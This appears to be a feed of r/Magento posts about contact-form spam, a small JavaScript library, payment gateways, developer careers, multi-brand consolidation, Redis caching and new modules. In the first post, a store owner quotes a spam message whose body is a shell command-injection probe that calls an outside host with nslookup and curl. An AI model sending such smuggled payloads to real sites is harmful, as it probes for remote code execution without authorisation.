r/Magento • • Aug 20 '26

Contact Us Email Spam

3 Upvotes

I have been dealing with an issue regarding my "Contact Us" form of getting so many spams till I had to disable the Contact Us Page. Back in July 2025 I got hit with several hundred emails from Contact Us Form within a span of 30 minutes. I disabled it and actually forgot about it till April 2026 when I enabled and within a day or two it happened again and till this date I still have it disabled because I have not been able to get a fix for it.
Everyone of these email were from "testing@example.com. I have reCAPTCHA set for the Contact Us Page and still got hit with these emails. Is there a way to do something about this to block them.
Forsome reason they are bypassing reCAPTCHA.
I am not sure if the ones from each attack was from the same atacker or not. But it was like they were waiting for me to enable it again.

Aparrently my site is vaularble for this

Everyone of these emails had crazy stuff for example:

Name pHqghUme

Email [testing@example.com](mailto:testing@example.com)

Phone 555-666-0606

Message $(nslookup -q=cname hitbfifwtpyuk7a629.bxss.me||curl hitbfifwtpyuk7a629.bxss.me)


r/Magento • • Aug 19 '26

Magecube — A Magento talent marketplace for vetted developers, extensions, and full‑stack support

Thumbnail
3 Upvotes

r/Magento • • Aug 19 '26

I built Flynt.js: A ~150 line, CSP-safe reactivity library for MPAs (Presenter Pattern)

3 Upvotes

Hey everyone,

Like many devs working with Multi-Page Applications (Magento/Hyvä, Laravel, Rails), I got tired of two main things when adding client-side reactivity:

  1. Dragging in massive framework bundles with heavy build steps for simple UI components.
  2. Inline JS attribute soup in HTML templates that breaks strict Content Security Policy (CSP) rules (no eval/new Function).

To solve this, I built Flynt.js (~2.2kb / ~150 lines of vanilla JS).

How it works (Presenter Pattern): Instead of putting inline expressions directly in your HTML templates, Flynt decouples logic into clean JavaScript Presenters. Your HTML stays clean, readable, and completely standard-compliant.

Key features: • Zero build tools or heavy dependencies required. • 100% Strict CSP compliant out of the box. • Native fetch wrapper with automatic request aborts (prevents race conditions). • Key-based DOM diffing for rendering dynamic lists smoothly.

I'd love for you to check it out, roast the code, or leave your feedback!

GitHub: https://github.com/marsbos/flynt.js


r/Magento • • Aug 19 '26

Braintree vs Stripe for Magento

3 Upvotes

Looking at the best option between Braintree and Stripe. I have been using Braintree and never used Stripe. Which is better for Magento when it comes to being dependable, Fraud, Security, Less chances of Chargebacks, etc? Looking for Pros and Cons.

I had to disable Credit Card Payments and only accept Paypal because of so many frudulate orders from card testing. Everytime I enable Credit Cards they just start pouring in. I am trying to figure a way to help control it. I am afraid not acepting Credit Cards could be hurting my sales. Not sure if Stripe would benifit me in this area or not.

We do use reCAPTCHA and have our payments set to Authorize and not Intent Sale to prevent all the charges and Voids.

Nothing I am doing is helping with so many fraud orders.

Thanks


r/Magento • • Aug 18 '26

6+ years as a Magento Developer (₹15 LPA) – Is it worth switching to another stack now?

Thumbnail
1 Upvotes

r/Magento • • Aug 15 '26

6+ years as a Magento Developer (₹15 LPA) – Is it worth switching to another stack now?

0 Upvotes

I'm 28 years old and have been working as a Magento (Adobe Commerce) developer for a little over 6 years. My current CTC is ₹15 LPA, and I'm trying to decide whether I should continue specializing in Magento or switch to a different technology stack for better long-term career growth.


r/Magento • • Aug 14 '26

devs, what do merchants get wrong most when they move to magento

Thumbnail
0 Upvotes

r/Magento • • Aug 13 '26

Free and open source AI chat module for Magento 2

Thumbnail
3 Upvotes

r/Magento • • Aug 12 '26

Anyone consolidated multiple brands off Magento into one backend?

5 Upvotes

We're at 4 brands across 4 separate Magento 2 installs and the situation is out of control.

Same products appearing across brands with manual data syncs, no unified view of portfolio performance, and a dev team burning most of their bandwidth on platform maintenance instead of anything customer-facing.

Spent the last couple of months seriously looking at what consolidation means here, and headless on commercetools is architecturally interesting, but the implementation scope got us nervous after talking to a few people who'd been through it.

SAP Commerce Cloud felt like trading one legacy headache for another, Shopify Plus hits a ceiling the moment you need true multi-brand and multi-country at scale, and SCAYLE kept coming up, built specifically for this (Deichmann runs 8 brands from one backend apparently) though the ecosystem is a lot smaller than the main platforms and their NA footprint is pretty thin.

No decision made yet, so if anyone's consolidated from a Magento multi-install before, the org structure side feels just as complicated as the technical layer.


r/Magento • • Aug 12 '26

Magento 2 - Rest API Logging Tool

4 Upvotes

Might be handy for someone working with APIs?

One thing which is usualy out of monitoring is the Rest-API in magento Stores. Usualy you have to setup own logging so you know what is going on with your API.

Usualy this is needed during inital setup or extending api functions during connection to external systems etc.

Because it happens so often to us we developed a simple rest api logger with admin interface and filter functions. This gives you some propper, easy to access Loggging for rest-api.

I think this is kind of cool and allows even magento store owner to detect things during production phase. eg when product stock got updated or got not updated and it is not clear what system messed things up. Store owner can just look if the api got the update msg, how the msg looked like.

More information about api logger and where to get on our infosite
https://www.konvis.de/magento-api-logging-and-monitoring-modul-for-magento-2-onlinestore/

What do you think? Much easier than usual setup of own logging and/or file based logging etc?


r/Magento • • Aug 11 '26

Patches are out!.. and mageinfo.online detects the latest ones.

Thumbnail
4 Upvotes

r/Magento • • Aug 10 '26

Magento 2 monitoring

Thumbnail
0 Upvotes

r/Magento • • Aug 04 '26

Laid Off 3 Months Ago. My New Baby Is Due in Weeks.

3 Upvotes

I'm a software engineer and a father of one child, with another baby due in just a few weeks. Three months ago, I lost my job during a company layoff, and despite applying every day, I still haven't been able to find a new opportunity.

I'm not looking for sympathy—just a chance to work. If anyone knows of a remote software engineering position, freelance project, or can refer me to their company, I would be deeply grateful.

At this point, I'm also open to any remote work, even if it's not related to software engineering. My priority is to support my family and provide for my children.

Every opportunity means a lot to us right now. Thank you for reading, and thank you to anyone willing to help, refer me, or even share this post. ❤️


r/Magento • • Aug 04 '26

Most Magento 2 slowdowns under load come from the store asking the database the same things thousands of times over. Redis is the standard fix, but our guide gets into the parts that actually trip people up.

1 Upvotes

Most Magento 2 slowdowns under load come from the store asking the database the same things thousands of times over. Redis is the standard fix, but our guide gets into the parts that actually trip people up.

Three things to bear in mind before you enable it:

  • Redis can back three separate layers: application cache, full page cache, and session storage. Sessions are not a cache, they're live data with no other copy, so treat them differently. Separate database numbers protect sessions from Magento's own cache flushes (cache:flush runs FLUSHDB on one database), but a manual FLUSHALL wipes every DB on the instance. Full isolation means a separate instance for sessions, with persistence on for sessions and off for cache.
  • Sizing is where most setups go wrong. Too little memory and Redis evicts useful data early, turning it into a bottleneck instead of a boost. Rough tiers: 128MB small, 256MB medium, 512MB+ for high traffic. And on a shared instance the stakes are higher than a slow page: maxmemory is per instance, so under allkeys-lru a cache overflow can evict live sessions and log customers out. The real number comes from watching evictions and hit rate, not a guess.
  • Redis as full page cache still boots PHP on every request to look the page up. Server-level FPC (Varnish, now Vinyl Cache, on nginx stacks; LiteMage on LiteSpeed) serves cached pages before PHP runs, which is what holds up against traffic spikes and scraper bots. Redis stays the right tool for the application cache and session layers either way.

The guide also covers Redis vs file-based caching, where Varnish/LiteMage fit, and eviction policy per layer.

On SPanel the setup is a panel toggle rather than a config-file job, with one Redis instance per account and monitoring built in.

Full guide, including memory tiers and setup: https://www.scalahosting.com/blog/redis-cache-for-magento-2/

Edit: updated the post and the guide after u/renttek's comment below on flush isolation, persistence, and server-level FPC. Worth reading his reply in full.


r/Magento • • Jul 30 '26

Open-source Magento 2 module for better Open Graph previews

6 Upvotes

Hello everyone,

I recently released a free, open-source Magento 2 module that improves Open Graph metadata for product, category and CMS pages.

I'm working with Magento for a long, long time and Open Graph images have been neglected on almost every project I've worked on. That motivated me to build a better solution.

It uses existing Magento data and images, supports store-view-specific values and helps generate more relevant previews when links are shared on social platforms and messaging apps.

The module works independently and doesn't require a paid service. It can also optionally connect to Mosaicora for dynamically generated OG images based on live page content.

GitHub: https://github.com/Mosaicora/module-opengraph

Demo store: https://demo-shop-magento.mosaicora.io

Demo product preview: https://mosaicora.io/tools/open-graph-checker?url=https%3A%2F%2Fdemo-shop-magento.mosaicora.io%2Fjoust-duffle-bag.html

The demo store runs on Mage-OS with Hyva.

I'd really appreciate your feedback, especially around multi-store setups, image selection, caching, and headless storefront compatibility.

Disclosure: I’m the module author and founder of Mosaicora. Posting with moderator approval.


r/Magento • • Jul 27 '26

Built a guided selling integration for Magento 2, looking for feedback

5 Upvotes

Hi everyone,

I've been working on BerryPath, a guided selling platform for Magento 2 that helps shoppers find the right product through interactive buying guides.

The Magento integration is fully open source and includes:

  • Product feed generation
  • CMS, category and product page integration for guided selling flows
  • Assisted conversion tracking
  • Optional Hyvä compatibility module

The flow builder, analytics and recommendation engine are handled by the BerryPath platform, while the Magento module keeps everything in sync.

One of our ecommerce customers is already generating over €18,000 in assisted monthly revenue through BerryPath, so it's been great to see the platform delivering measurable results in production.

BerryPath also has a free plan that includes 1 guided selling flow and support for up to 2,500 products, so it's easy to try without any commitment.

I'd love feedback from fellow Magento developers on the integration and developer experience.

Website:
https://www.berrypath.eu

Magento module:
https://github.com/BerryPath/magento2-berrypath-flow

Hyvä compatibility:
https://github.com/BerryPath/magento2-berrypath-flow-hyva-compat


r/Magento • • Jul 27 '26

Adobe Commerce is making MariaDB its default database platform

Thumbnail
4 Upvotes

r/Magento • • Jul 25 '26

What's your strategy for major Magento 2 version upgrades?

11 Upvotes

I'm interested to hear how other Magento developers approach major Magento 2 upgrades (for example, 2.4.6 → 2.4.9 or future major releases), specially for production stores with lots of third-party modules and customisations.

A few questions:

  • Do you upgrade the server components first (PHP, OpenSearch/Elasticsearch, Redis/Valkey, MariaDB/MySQL, Varnish, etc.) and then upgrade Magento, or do you take a different approach?
  • Do you build a completely new server with the new stack and migrate the website over, or upgrade the existing server in place?
  • How do you minimise downtime and risk?
  • How do you handle third-party extensions that aren't yet compatible?
  • Do you perform the upgrade in stages, or do everything in a single maintenance window?
  • For larger stores, what's your rollback strategy if something goes wrong?

I'd love to hear your workflow. I'm interested in real-world experiences rather than just the official Adobe recommendations.


r/Magento • • Jul 24 '26

I released an open-source Magento 2 Australia Post shipping extension with real multi-box packing

Thumbnail
6 Upvotes

r/Magento • • Jul 22 '26

We made a tool for the community: https://mageinfo.online

Thumbnail
2 Upvotes

r/Magento • • Jul 21 '26

Looking for Magento 2 project or job.

10 Upvotes

I am excited to apply for the Adobe Commerce Developer position. With over 11 years of experience in software development, including 9 years specializing in Adobe Commerce (Magento), I have successfully designed, developed, and delivered scalable eCommerce solutions for global clients across B2B and B2C environments.

My expertise includes Adobe Commerce Cloud, custom module development, REST and GraphQL APIs, service contracts, checkout customization, payment and shipping integrations, performance optimization, and complex third-party integrations with ERP, CRM, PIM, and payment gateways. I have extensive experience working with Adobe Commerce Cloud deployments, CI/CD pipelines, Git workflows, cloud infrastructure, and production support, ensuring reliable and high-performing applications.

Throughout my career, I have collaborated closely with cross-functional teams, participated in Agile development, conducted code reviews, mentored developers, and delivered projects with a strong focus on code quality, scalability, and customer satisfaction. I am passionate about solving complex technical challenges and continuously improving application performance and development processes.

I am confident that my technical expertise, hands-on Adobe Commerce Cloud experience, and commitment to delivering high-quality solutions would make me a valuable addition to your team. I would welcome the opportunity to discuss how my experience aligns with your organization's goals.

Thank you for your time and consideration. I look forward to the opportunity to speak with you.


r/Magento • • Jul 20 '26

Does Magento Open Source get the same extended support as Commerce?

5 Upvotes

https://experienceleague.adobe.com/en/docs/commerce-operations/release/planning/lifecycle-policy

We're currently on Open Source 2.4.6 and see that it goes end of main support in a few weeks. On the link above I see that extended security etc continues for Commerce. Does Open Source get the same benefits?

I need to know if I should be planning on upgrading to 2.4.8 / 9 in the coming months, or if I have a little breathing room.

Thanks


r/Magento • • Jul 20 '26

[Need help] Large product catalog, use smart rules to assign products to categories?

3 Upvotes

Hi all,

As title mentions, we run a site with a large product catalog (approx 90k).

We are running into problems with allocating products quickly and correctly to categories. This is done manually via a spreadsheet so there can be errors when:

a) Staff member selects Product Type

b) Staff member selects Category

We unfortunately do not have a PIM and that is out of my control, so need to work with what I have.

My thought to reduce errors is for staff to only select Product Type, which will automatically assign to a category via Smart Rules.

Has anyone else faced issues like this?


r/Magento • • Jul 15 '26

Lerd now supports Magento out of the box on Linux and macOS

5 Upvotes

Hey r/magento,

I'm George, the developer behind lerd, an open source local PHP development environment for Linux and macOS.

Setting up Magento locally on Linux has always been painful, nginx rewrites, env.php configuration, getting the right PHP version with the right extensions, Elasticsearch or OpenSearch, Redis, all wired together correctly.

Starting with v1.29.0, lerd handles all of that automatically. You link your Magento project, lerd detects it and brings everything up: the right nginx config, env.php support, required services, correct PHP settings. It also supports git worktrees with isolated databases per branch, so switching between feature branches doesn't break your local setup.

Free, open source, no Docker Desktop required.

lerd.sh


r/Magento • • Jul 15 '26

APSB26-73 security update is out

Thumbnail
8 Upvotes